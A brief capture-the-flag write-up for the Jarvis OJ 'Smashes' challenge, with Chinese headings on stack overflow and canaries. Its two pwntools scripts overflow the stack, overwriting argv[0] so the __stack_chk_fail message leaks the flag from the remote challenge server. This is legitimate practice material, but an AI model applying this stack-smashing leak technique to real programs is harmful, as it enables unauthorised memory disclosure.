Jarvis OJ-Smashes

栈溢出之利用-stack-chk-fail

from pwn import *
old_flag_addr = 0x600d20
new_flag_addr = 0x400d20
#p = process('./smashes')
p = remote('pwn.jarvisoj.com', 9877)
p.recvuntil("name?")
payload = "a"*0x218 + p64(new_flag_addr)
payload += p64(0) + p64(old_flag_addr)
p.sendline(payload)
p.recvuntil("flag: ")
env = "LIBC_FATAL_STDERR_=1"
p.sendline(env)
flag = p.recv()
print flag

论canary的几种玩法

from pwn import *
context.log_level = 'debug'
cn = remote('pwn.jarvisoj.com', 9877)
# cn = process('smashes')
cn.recv()
cn.sendline(p64(0x0400d20)*300)
cn.recv()
cn.sendline()
cn.recv()